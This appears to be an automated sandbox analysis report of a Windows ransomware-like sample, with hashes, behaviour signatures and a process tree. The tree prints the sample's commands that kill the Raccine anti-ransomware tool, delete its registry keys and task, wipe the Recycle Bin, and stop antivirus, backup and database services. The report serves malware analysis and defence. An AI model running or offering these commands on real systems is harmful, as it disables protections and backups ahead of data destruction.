2481bcb7380b038e84a6052a3cc42fab8e791cf1dffaefe783398a843af68c22

Analysis

max time kernel
21s
max time network
144s
platform
windows7_x64
resource
win7v20210410
submitted
28-05-2021 09:57

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe
Size

128KB
MD5

9606a0bdc7a04dcf4d8625345c2875cd
SHA1

34c37511ef2105aedf55eda054e89210757f51ec
SHA256

aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7
SHA512

64796dde9fe7791e166cecb622d7713ef3a6947e404919eaba27c532fdf3be799f8ead904402a5b9dfff27977813c77e1c86954801c7bc4a867265d6aa36a595

Score

8^/10

discovery evasion

Malware Config

Signatures

Downloads MZ/PE file
Modifies Windows Firewall 1 TTPs
evasion

Modify Existing Service
T1031

Drops startup file 1 IoCs

Processes:

aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mystartup.lnk	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe

Modifies file permissions 1 TTPs 3 IoCs
discovery

File and Directory Permissions Modification
T1222

Processes:

icacls.exeicacls.exeicacls.exe

pid process

5292 icacls.exe
5308 icacls.exe
5300 icacls.exe
Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Discovers systems in the same network 1 TTPs 1 IoCs
discovery

Remote System Discovery
T1018

Processes:

net.exe

pid process

6644 net.exe

pid	process
5292	icacls.exe
5308	icacls.exe
5300	icacls.exe

pid	process
6644	net.exe

Kills process with taskkill 48 IoCs

evasion

Processes:

taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exe

pid	process
5112	taskkill.exe
5160	taskkill.exe
5128	taskkill.exe
3628	taskkill.exe
4960	taskkill.exe
564	taskkill.exe
5208	taskkill.exe
5168	taskkill.exe
3700	taskkill.exe
3636	taskkill.exe
5104	taskkill.exe
5024	taskkill.exe
5232	taskkill.exe
5136	taskkill.exe
320	taskkill.exe
3576	taskkill.exe
5096	taskkill.exe
5056	taskkill.exe
5040	taskkill.exe
5272	taskkill.exe
5248	taskkill.exe
5144	taskkill.exe
3708	taskkill.exe
5048	taskkill.exe
4992	taskkill.exe
4968	taskkill.exe
1600	taskkill.exe
5064	taskkill.exe
4984	taskkill.exe
4976	taskkill.exe
5184	taskkill.exe
5176	taskkill.exe
2284	taskkill.exe
3832	taskkill.exe
5088	taskkill.exe
5016	taskkill.exe
4952	taskkill.exe
5072	taskkill.exe
5256	taskkill.exe
3692	taskkill.exe
5008	taskkill.exe
5000	taskkill.exe
5264	taskkill.exe
5192	taskkill.exe
5152	taskkill.exe
2312	taskkill.exe
5080	taskkill.exe
5032	taskkill.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry
T1112

Processes:

reg.exe

pid process

276 reg.exe
Runs net.exe

pid	process
276	reg.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe

pid	process
1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe
1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe
1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe
1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe
1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe
1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe
1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe
1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe
1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe
1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe
1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe
1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe
1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe
1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe
1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe
1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe
1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe
1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe
1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe
1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe
1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe
1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe
1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe
1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe
1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe
1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe
1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe
1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe
1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe
1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe
1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe
1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe
1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe
1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe
1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe
1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe
1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe
1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe
1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe
1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe
1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe
1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe
1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe
1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe
1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe
1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe
1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe
1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe
1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe
1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe
1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe
1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe
1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe
1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe
1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe
1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe
1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe
1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe
1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe
1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe
1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe
1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe
1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe
1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe

Suspicious use of AdjustPrivilegeToken 26 IoCs

Processes:

aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.execonhost.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exe

description	pid	process
Token: SeDebugPrivilege	1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe
Token: SeDebugPrivilege	1600	taskkill.exe
Token: SeDebugPrivilege	5096	taskkill.exe
Token: SeDebugPrivilege	5080	taskkill.exe
Token: SeDebugPrivilege	320	taskkill.exe
Token: SeDebugPrivilege	2312	taskkill.exe
Token: SeDebugPrivilege	564	conhost.exe
Token: SeDebugPrivilege	3700	taskkill.exe
Token: SeDebugPrivilege	3708	taskkill.exe
Token: SeDebugPrivilege	5064	taskkill.exe
Token: SeDebugPrivilege	3636	taskkill.exe
Token: SeDebugPrivilege	5048	taskkill.exe
Token: SeDebugPrivilege	5176	taskkill.exe
Token: SeDebugPrivilege	5032	taskkill.exe
Token: SeDebugPrivilege	5000	taskkill.exe
Token: SeDebugPrivilege	5016	taskkill.exe
Token: SeDebugPrivilege	4968	taskkill.exe
Token: SeDebugPrivilege	4984	taskkill.exe
Token: SeDebugPrivilege	5144	taskkill.exe
Token: SeDebugPrivilege	5072	taskkill.exe
Token: SeDebugPrivilege	4952	taskkill.exe
Token: SeDebugPrivilege	5128	taskkill.exe
Token: SeDebugPrivilege	5104	taskkill.exe
Token: SeDebugPrivilege	5160	taskkill.exe
Token: SeDebugPrivilege	3832	taskkill.exe
Token: SeDebugPrivilege	5152	taskkill.exe

Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe

pid process

1096 aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe
Suspicious use of SendNotifyMessage 1 IoCs

Processes:

aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe

pid process

1096 aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe

description	pid	process	target process
PID 1096 wrote to memory of 1600	1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe	taskkill.exe
PID 1096 wrote to memory of 1600	1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe	taskkill.exe
PID 1096 wrote to memory of 1600	1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe	taskkill.exe
PID 1096 wrote to memory of 644	1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe	net.exe
PID 1096 wrote to memory of 644	1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe	net.exe
PID 1096 wrote to memory of 644	1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe	net.exe
PID 1096 wrote to memory of 276	1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe	reg.exe
PID 1096 wrote to memory of 276	1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe	reg.exe
PID 1096 wrote to memory of 276	1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe	reg.exe
PID 1096 wrote to memory of 572	1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe	net.exe
PID 1096 wrote to memory of 572	1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe	net.exe
PID 1096 wrote to memory of 572	1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe	net.exe
PID 1096 wrote to memory of 1696	1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe	net.exe
PID 1096 wrote to memory of 1696	1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe	net.exe
PID 1096 wrote to memory of 1696	1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe	net.exe
PID 1096 wrote to memory of 1636	1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe	sc.exe
PID 1096 wrote to memory of 1636	1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe	sc.exe
PID 1096 wrote to memory of 1636	1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe	sc.exe
PID 1096 wrote to memory of 872	1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe	net.exe
PID 1096 wrote to memory of 872	1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe	net.exe
PID 1096 wrote to memory of 872	1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe	net.exe
PID 1096 wrote to memory of 1692	1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe	sc.exe
PID 1096 wrote to memory of 1692	1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe	sc.exe
PID 1096 wrote to memory of 1692	1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe	sc.exe
PID 1096 wrote to memory of 928	1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe	cmd.exe
PID 1096 wrote to memory of 928	1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe	cmd.exe
PID 1096 wrote to memory of 928	1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe	cmd.exe
PID 1096 wrote to memory of 1132	1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe	netsh.exe
PID 1096 wrote to memory of 1132	1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe	netsh.exe
PID 1096 wrote to memory of 1132	1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe	netsh.exe
PID 1096 wrote to memory of 1416	1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe	netsh.exe
PID 1096 wrote to memory of 1416	1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe	netsh.exe
PID 1096 wrote to memory of 1416	1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe	netsh.exe
PID 1096 wrote to memory of 280	1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe	sc.exe
PID 1096 wrote to memory of 280	1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe	sc.exe
PID 1096 wrote to memory of 280	1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe	sc.exe
PID 1096 wrote to memory of 1756	1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe	sc.exe
PID 1096 wrote to memory of 1756	1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe	sc.exe
PID 1096 wrote to memory of 1756	1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe	sc.exe
PID 1096 wrote to memory of 2008	1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe	sc.exe
PID 1096 wrote to memory of 2008	1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe	sc.exe
PID 1096 wrote to memory of 2008	1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe	sc.exe
PID 1096 wrote to memory of 272	1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe	net1.exe
PID 1096 wrote to memory of 272	1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe	net1.exe
PID 1096 wrote to memory of 272	1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe	net1.exe
PID 1096 wrote to memory of 1048	1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe	net.exe
PID 1096 wrote to memory of 1048	1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe	net.exe
PID 1096 wrote to memory of 1048	1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe	net.exe
PID 1096 wrote to memory of 768	1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe	net.exe
PID 1096 wrote to memory of 768	1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe	net.exe
PID 1096 wrote to memory of 768	1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe	net.exe
PID 1096 wrote to memory of 472	1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe	conhost.exe
PID 1096 wrote to memory of 472	1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe	conhost.exe
PID 1096 wrote to memory of 472	1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe	conhost.exe
PID 1096 wrote to memory of 1724	1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe	net1.exe
PID 1096 wrote to memory of 1724	1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe	net1.exe
PID 1096 wrote to memory of 1724	1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe	net1.exe
PID 1096 wrote to memory of 524	1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe	netsh.exe
PID 1096 wrote to memory of 524	1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe	netsh.exe
PID 1096 wrote to memory of 524	1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe	netsh.exe
PID 1096 wrote to memory of 956	1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe	net.exe
PID 1096 wrote to memory of 956	1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe	net.exe
PID 1096 wrote to memory of 956	1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe	net.exe
PID 1096 wrote to memory of 656	1096	aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe	net.exe

C:\Users\Admin\AppData\Local\Temp\aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe
"C:\Users\Admin\AppData\Local\Temp\aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe"
1⤵
- Drops startup file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1096
- C:\Windows\system32\taskkill.exe
  "taskkill" /F /IM RaccineSettings.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1600
- C:\Windows\system32\reg.exe
  "reg" delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Raccine Tray" /F
  2⤵
  PID:644
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop SepMasterService /y
    3⤵
    PID:5972
- C:\Windows\system32\reg.exe
  "reg" delete HKCU\Software\Raccine /F
  2⤵
  - Modifies registry key
  PID:276
- C:\Windows\system32\schtasks.exe
  "schtasks" /DELETE /TN "Raccine Rules Updater" /F
  2⤵
  PID:572
- C:\Windows\system32\cmd.exe
  "cmd.exe" /c rd /s /q %SYSTEMDRIVE%\\$Recycle.bin
  2⤵
  PID:1696
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop Smcinst /y
    3⤵
    PID:1308
- C:\Windows\system32\sc.exe
  "sc.exe" config SQLTELEMETRY start= disabled
  2⤵
  PID:872
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop SQLAgent$PROD /y
    3⤵
    PID:6612
- C:\Windows\system32\sc.exe
  "sc.exe" config SSDPSRV start= auto
  2⤵
  PID:1756
- C:\Windows\system32\sc.exe
  "sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled
  2⤵
  PID:272
- C:\Windows\system32\sc.exe
  "sc.exe" config SQLWriter start= disabled
  2⤵
  PID:1048
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop SQLAgent$PRACTTICEMGT /y
    3⤵
    PID:1168
- C:\Windows\system32\net.exe
  "net.exe" stop bedbg /y
  2⤵
  PID:472
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop bedbg /y
    3⤵
    PID:2180
- C:\Windows\system32\net.exe
  "net.exe" start FDResPub /y
  2⤵
  PID:1724
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 start FDResPub /y
    3⤵
    PID:2200
- C:\Windows\system32\net.exe
  "net.exe" start Dnscache /y
  2⤵
  PID:768
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 start Dnscache /y
    3⤵
    PID:2192
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop SQLAgent$PRACTTICEBGC /y
    3⤵
    PID:5644
- C:\Windows\system32\net.exe
  "net.exe" stop MSSQL$SQL_2008 /y
  2⤵
  PID:956
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop MSSQL$SQL_2008 /y
    3⤵
    PID:288
- C:\Windows\system32\net.exe
  "net.exe" stop EhttpSrv /y
  2⤵
  PID:656
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop EhttpSrv /y
    3⤵
    PID:1268
- C:\Windows\system32\net.exe
  "net.exe" stop MMS /y
  2⤵
  PID:1616
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop MMS /y
    3⤵
    PID:2344
- C:\Windows\system32\net.exe
  "net.exe" start SSDPSRV /y
  2⤵
  PID:524
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 start SSDPSRV /y
    3⤵
    PID:564
- C:\Windows\system32\net.exe
  "net.exe" stop mfewc /y
  2⤵
  PID:2120
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop mfewc /y
    3⤵
    PID:2388
- C:\Windows\system32\net.exe
  "net.exe" stop BMR Boot Service /y
  2⤵
  PID:2152
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop BMR Boot Service /y
    3⤵
    PID:2312
- C:\Windows\system32\net.exe
  "net.exe" stop McAfeeDLPAgentService /y
  2⤵
  PID:2096
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop McAfeeDLPAgentService /y
    3⤵
    PID:2284
- C:\Windows\system32\net.exe
  "net.exe" stop avpsus /y
  2⤵
  PID:2076
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop avpsus /y
    3⤵
    PID:3348
- C:\Windows\system32\net.exe
  "net.exe" start upnphost /y
  2⤵
  PID:2268
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 start upnphost /y
    3⤵
    PID:3340
- C:\Windows\system32\net.exe
  "net.exe" stop MSSQL$SYSTEM_BGC /y
  2⤵
  PID:2240
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop MSSQL$SYSTEM_BGC /y
    3⤵
    PID:3332
- C:\Windows\system32\net.exe
  "net.exe" stop ekrn /y
  2⤵
  PID:2304
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop ekrn /y
    3⤵
    PID:2404
- C:\Windows\system32\net.exe
  "net.exe" stop MSSQL$SQLEXPRESS /y
  2⤵
  PID:2228
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop MSSQL$SQLEXPRESS /y
    3⤵
    PID:2432
- C:\Windows\system32\net.exe
  "net.exe" stop NetBackup BMR MTFTP Service /y
  2⤵
  PID:2328
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop NetBackup BMR MTFTP Service /y
    3⤵
    PID:3216
- C:\Windows\system32\net.exe
  "net.exe" stop ccEvtMgr /y
  2⤵
  PID:2376
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop ccEvtMgr /y
    3⤵
    PID:3472
- C:\Windows\system32\net.exe
  "net.exe" stop mozyprobackup /y
  2⤵
  PID:2408
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop mozyprobackup /y
    3⤵
    PID:3408
- C:\Windows\system32\net.exe
  "net.exe" stop MSSQL$TPS /y
  2⤵
  PID:2420
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop MSSQL$TPS /y
    3⤵
    PID:3560
- C:\Windows\system32\net.exe
